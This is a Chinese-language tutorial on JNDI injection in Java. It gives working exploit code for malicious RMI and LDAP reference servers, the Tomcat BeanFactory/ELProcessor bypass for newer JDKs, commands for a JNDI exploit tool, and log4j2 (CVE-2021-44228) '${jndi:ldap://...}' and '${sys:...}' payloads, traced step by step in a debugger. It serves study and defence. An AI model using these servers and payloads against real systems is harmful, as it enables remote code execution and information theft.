JNDI
首先我们要先了解一下什么是JNDI
JNDI全名(Java Naming and Directory Interface即Java命名和目录接口)
命名服务
命名服务的主要功能是将人们的友好名称映射到对象,例如地址、标识符或计算机程序通常使用的对象。
例如,Internet 域名系统 (DNS) 将计算机名称映射到 IP 地址:
www.example.com ==> 192.0.2.5
文件系统将文件名映射到程序可用于访问文件内容的文件引用。
c:\bin\autoexec.bat ==> File Reference
目录服务
许多命名服务都使用目录服务进行扩展。目录服务将名称与对象相关联,并将此类对象与属性相关联。
目录服务 = 命名服务 + 包含属性的对象
您不仅可以按对象名称查找对象,还可以获取对象的属性或根据对象的属性搜索对象。
例如,电话公司的目录服务。它将订阅者的姓名映射到他的地址和电话号码。计算机的目录服务与电话公司的目录服务非常相似,因为两者都可用于存储电话号码和地址等信息。然而,计算机的目录服务要强大得多,因为它可以在线获得,并且可以用来存储用户、程序甚至计算机本身和其他计算机可以使用的各种信息。
directory 对象表示计算环境中的对象。例如,目录对象可用于表示打印机、人员、计算机或网络。directory 对象包含描述它所表示的对象的属性。
JNDI可以用多种服务对,对象进行命名,挂载。
RMI
JNDI使用RMI的方式与很像
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
//Server.java
public class JNDIRMIServer {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
Registry registry = LocateRegistry.createRegistry(1099);
InitialContext ic = new InitialContext();
Reference ref = new Reference("EvilObj","EvilObj","http://127.0.0.1:8000");
ic.rebind("rmi://localhost:1099/EvilObj",ref);
/* ReferenceWrapper wrapper = new ReferenceWrapper(ref);
registry.bind("RCE",wrapper);*/
}
}
//Client.java
import org.omg.CORBA.IRObject;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class Client {
public static void main(String[] args) throws NamingException {
InitialContext ic= new InitialContext();
ic.lookup("rmi://localhost:1099/EvilObj");
}
}
//EvilObjv
import java.io.IOException;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
import java.util.Hashtable;
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
public class EvilObj extends UnicastRemoteObject implements ObjectFactory {
public EvilObj() throws RemoteException {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException var2) {
IOException e = var2;
e.printStackTrace();
}
}
public String sayHello(String name) throws RemoteException {
System.out.println("Hello World!");
return name;
}
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
return null;
}
}
//恶意类是需要实现ObjectFactory接口的,即恶意工厂
运行上面的代码就会发现JNDI的客户端加载了服务端上的EvilObj
一路调试会发现其最后弹计算机也就是触发命令执行的地方并不在JNDI这个包下而是进入了NamingManager
最后在loadClass里发现forName来加载类,而forName加载的是本地的类,而本地并没有我们的恶意类。我们继续调试
会发现其判断clas是否为空,codebase是否为空。当我们前面forName加载成功时就不会进入反之。
而后继续远程加载类
最后发现其将加载的类进行了实例化,即会运行恶意类中构造方法中的恶意代码
使用如果一个JNDI其lookup内的url可控,那么我们就就可以让其指向我们的恶意rmi服务器从而使其造成命令执行
Ldap
这个漏洞在爆出来后很快就被官方打了补丁。如下
上面的代码定义了一个系统变量trustURLCodebase。默认为false
上面的代码对trustURLCodebase进行了判断,我们可以发现因为起默认为false,这导致我们无法加载远程的url的类
其补丁将rmi进行了检测导致我们无法利用rmi来进行命令执行,但是其没有对Ldap进行过滤,所有我们还可以使用Ldap来进行命令执行
使用如下代码起一个Ldap加载恶意类的服务
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
public class Ldap {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main ( String[] tmp_args ) {
String[] args=new String[]{"http://127.0.0.1:8000/#EvilObj"};
int port = 2234;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
上面的java代码可以打包成jar包而后放在vps上运行。
而后Client端与之前RMi的相似
//import org.omg.CORBA.IRObject;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class Client {
public static void main(String[] args) throws NamingException {
InitialContext ic= new InitialContext();
//ic.lookup("rmi://111.230.38.159:1099/EvilObj");
//ic.lookup("rmi://192.168.20.1:1099/EvilObj");
ic.lookup("ldap://111.230.38.159:2234/EvilObj");
}
}
成功弹出计算机
调试了一下,发现最终的运行位置与RMi相同。
更高版本的绕过
像Ldap只能绕过8u191之前的JDK我们这里手动调一下
我们可以发现其在远程加载codebase的lodaClass下也加了一个trustURLCodebase这个参数。而这个参数默认肯定是false,即其不允许我们使用远端的codebase来加载工厂
但是其只尝试了对远程加载进行了限制,那么我们就可以尝试使用其本地的类来尝试进行命令执行。
而这个类是要实现了ObjectFactory。
我们在调试的时候就可以发现,每次在调试时都会调用这个getObjectInstance方法。那么我们可以尝试在哪些实现了ObjectFactory接口的getObjectInstance方法里寻找是否存在可以利用的部分
Tomcat9.62
首先在tomcat9.62及其之前下存在一个类实现了ObjectFactory且我们可以利用其反射来进行命令执行。
在此之前我们要先了解一个命令执行的姿势,利用ELProcessor来进行命令执行。
ELProcessor内存在一个eval方法,其会对命令进行反射调用,我这里写个demo
import javax.el.*;
public class DEMO {
public static void main(String[] args) {
ELProcessor processor = new ELProcessor();
processor.eval("Runtime.getRuntime().exec(\"calc\")");
}
}
我们在eval下打个断点简单调试一下,会发现其最后利用了反射的方法进行了命令执行
我们把视线重新转到实现了ObjectFactory的可利用类下。
这个可以被利用的类就是tomcat的BeanFactory类
最终其会在BeanFactory下的一个反射类调用触发命令执行,而这些参数都是我们可以控制的,接下来我会通过调试攻击过程的方式来,讲述漏洞的触发过程
//Server.java
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.StringRefAddr;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;
public class Server {
public static void main(String[] args) throws Exception {
//System.setProperty("java.rmi.server.hostname", "1.94.186.199");//如果要在服务器上允许需要加上这一条代码。
Registry registry = LocateRegistry.createRegistry(1099);
ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null);//创建一个ResourceRef对象,其传入的Class为javax.el.ELProcessor,工厂为org.apache.naming.factory.BeanFactory
resourceRef.add(new StringRefAddr("forceString", "faster=eval"));//添加RefAddr对象,前一个参数是键值Type。在BeanFactory类内会被取出值
resourceRef.add(new StringRefAddr("faster", "Runtime.getRuntime().exec(\"calc\")"));//同上
ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);
registry.bind("Tomcat9.62", referenceWrapper);
System.out.println("Registry运行中......");
}
}
//Client.java
import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.naming.spi.ObjectFactory;
public class Client {
public static void main(String[] args) throws NamingException {
InitialContext ic= new InitialContext();
ic.lookup("rmi://192.168.20.1:1099/Tomcat9.62");
}
}
前面实例化工厂的部分与RMI和Ldap的大同小异。
会进入NamingManager下的getObjectInstance来进行实例化
如何得到工厂的类名
再通过forName来加载类
最后实例化得到了工厂
得到工厂后会走到如下代码从而进入BeanFactory的getObjectInstance
其传入的参数ref,就是我们再Server中实例化的ResourceRef类值如下
ResourceRef[className=javax.el.ELProcessor,factoryClassLocation=null,factoryClassName=org.apache.naming.factory.BeanFactory,{type=scope,content=},{type=auth,content=},{type=singleton,content=true},{type=forceString,content=faster=eval},{type=faster,content=Runtime.getRuntime().exec("calc")}]
而后其通过ref.getClassName()来获取我们ResourceRef类的内部的resourceClass名,即我们在Server中传入的javax.el.ELProcessor。
而后通过类加载其来得到这个类。命名为beanClass
之后将beanClass实例化为bean。
再获取ref内Type为forceString的内容赋值给ra,而forceString的内容为faster=eval。
而后又创建了一个HashMap,变量名为forced。
然后进入一个循环,将ra的getContent取出传入Value,而后将value的内容faster=eval
放入数组arr$
内。
后面又将数组内的值取出赋值给param,然后截取=前的所有字符赋值为param,之后的赋值为propName
然后将param作为键放入到之前定义的map forced中,其值为一个反射调用,其调用的,beanClass.getMethod(propName, paramTypes)
,其放射获取的内容就是ELProcessor下的eval方法。
之后进入一个do while循环。这个循环会获取ref中的Type键的值。直到获取到非规定内容的Type的键值对。即其将ra定义为我们的传入的那个StringRefAddr
最终会将propName赋值为我们定义的Type:faster
最后其再从Map中拿出键为faster的值,也就是我们的eval方法。
而其value获取ra的Content,其值就是我们命令执行的代码。Runtime.getRuntime().exec("calc")
最后放射调用的代码其实就是 eval.invoke(bean,'Runtime.getRuntime().exec("calc")')
bean也就是ELProcessor的实例。
这样就可以命令执行了
在tomcat的9.62之后的版本里,其将之前的method.invoke(bean,valueArray)直接进行了删除,这就到导致了我们无法在使用之前的方法进行命令执行
原生反序列化
JNDI注入通过Ldap的方法是可以触发反序列的。
前面我写的Ldap高版本的注入的exp是自己搭建的Ldap服务器,但这样太过于麻烦,于是我尝试再网上找项目,于是我便找到了如下项目。
JNDI-Exploit-Bypass-Demo
使用这个项目需要我们自己进行打包
食用方法
mvn package
java -cp HackerRMIRefServer-all.jar HackerRMIRefServer 0.0.0.0 8088 1099
java -cp HackerRMIRefServer-all.jar HackerLDAPRefServer 0.0.0.0 8088 1389
这个项目内有个Ldap反序列化触发的java文件我们打打包前要对其进行修改
将其反序列化的payload进行更改,我这里改成了CC1的链
可以看到服务器也显示了请求记录
我们调试一下客户端。
前半部分都相同,而后面其检测了传入值attrs的JAVA_ATTRIBUTES[SERIALIZED_DATA]
属性。
而这个JAVA_ATTRIBUTES[SERIALIZED_DATA]
得到的就是字符串javaSerializedData
而后会进入deserialzeObject方法
这就是标准的反序列化了。
这样就触发反序列化漏洞。
log4j2
JNDI的成因
在log4j2的2.0-beta9 到 2.15.0(不包括安全版本 2.12.2、2.12.3 和 2.3.1)版本内存在着JNDI注入的CVE-2021-44228
改漏洞的利用方式很简单。
package log4j;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Log4j {
private static final Logger logger = LogManager.getLogger();
public static void main(String[] args) {
String username = "${jndi:ldap://111.xxx.xxx.159:389/EvilObj}";
logger.error("hello {}",username);
}
}
起一个JNDI服务器然后运行上面的脚本就会发现成功命令执行
log4j2的漏洞主要出现在 org.apache.logging.log4j.core.lookup.StrSubstitutor类上。
这个类会先堆${
进行匹配
然后再匹配尾部}
以此来提取内部的值
然后会进入resolveVariable来触发Interpolator的lookup
lookup方法会匹配: 即提取出前面的JNDI。
通过strLookupMap来提取出:前关键词的类。赋值给lookup,然后通过lookup.lookup来调用起地下的lookup
我们寻找这个strLookupMap可以发现如下。
JNDI关键词指向的类就是org.apache.logging.log4j.core.lookup.JndiLookup
所以lookup.lookup会指向JndiLookup.lookup
JndiLookup.lookup下会通过jndiManager.lookup来进行JNDI的加载。
所以这个log4j可以通过${jndi:ldap://xxxx}
就可以进行jndi注入
拓展
在这里我们可以看到map还有指向其他的类。如sys
我们打开其指向的类
我们可以看看到其直接返回了System.getProperty这样我们就可以进行信息探测。如输入的key为java.class.path就可以得到其加载的所有依赖的版本。
package log4j;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Log4j {
private static final Logger logger = LogManager.getLogger();
public static void main(String[] args) {
String username = "${sys:java.class.path}";
logger.error("hello {}",username);
}
}
----------------------------------
10:39:41.693 [main] ERROR log4j.Log4j - hello C:\Program Files\BellSoft\LibericaJDK-8\jre\lib\charsets.jar;C:\Program Files\BellSoft\LibericaJDK-8\jre\lib\ext\access-bridge-64.jar;C:\Program Files\BellSoft\LibericaJDK-8\jre\lib\ext\cldrdata.jar;C:\Program Files\BellSoft\LibericaJDK-8\jre\lib\ext\dnsns.jar;C:\Program Files\BellSoft\LibericaJDK-8\jre\lib\ext\jaccess.jar;C:\Program Files\BellSoft\LibericaJDK-8\jre\lib\ext\localedata.jar;C:\Program Files\BellSoft\LibericaJDK-8\jre\lib\ext\nashorn.jar;C:\Program Files\BellSoft\LibericaJDK-8\jre\lib\ext\sunec.jar;C:\Program Files\BellSoft\LibericaJDK-8\jre\lib\ext\sunjce_provider.jar;C:\Program Files\BellSoft\LibericaJDK-8\jre\lib\ext\sunmscapi.jar;C:\Program Files\BellSoft\LibericaJDK-8\jre\lib\ext\sunpkcs11.jar;C:\Program Files\BellSoft\LibericaJDK-8\jre\lib\ext\zipfs.jar;C:\Program Files\BellSoft\LibericaJDK-8\jre\lib\jce.jar;C:\Program Files\BellSoft\LibericaJDK-8\jre\lib\jfr.jar;C:\Program Files\BellSoft\LibericaJDK-8\jre\lib\jsse.jar;C:\Program Files\BellSoft\LibericaJDK-8\jre\lib\management-agent.jar;C:\Program Files\BellSoft\LibericaJDK-8\jre\lib\resources.jar;C:\Program Files\BellSoft\LibericaJDK-8\jre\lib\rt.jar;C:\Users\24882\Desktop\java-sec\cc\target\classes;C:\Users\24882\.m2\repository\org\apache\logging\log4j\log4j-core\2.14.1\log4j-core-2.14.1.jar;C:\Users\24882\.m2\repository\org\apache\logging\log4j\log4j-api\2.14.1\log4j-api-2.14.1.jar;C:\Users\24882\.m2\repository\commons-collections\commons-collections\3.2.1\commons-collections-3.2.1.jar;C:\Users\24882\.m2\repository\org\apache\commons\commons-collections4\4.0\commons-collections4-4.0.jar;C:\Program Files\JetBrains\IntelliJ IDEA 2024.1.1\lib\idea_rt.jar
env也可以进行环境变量的读取登
而这个log4j的漏洞在2.15之后就已经修复了,2.15版本将lookup给禁了,经过在本地尝试像sys,env这种获取敏感信息的方式也无法使用了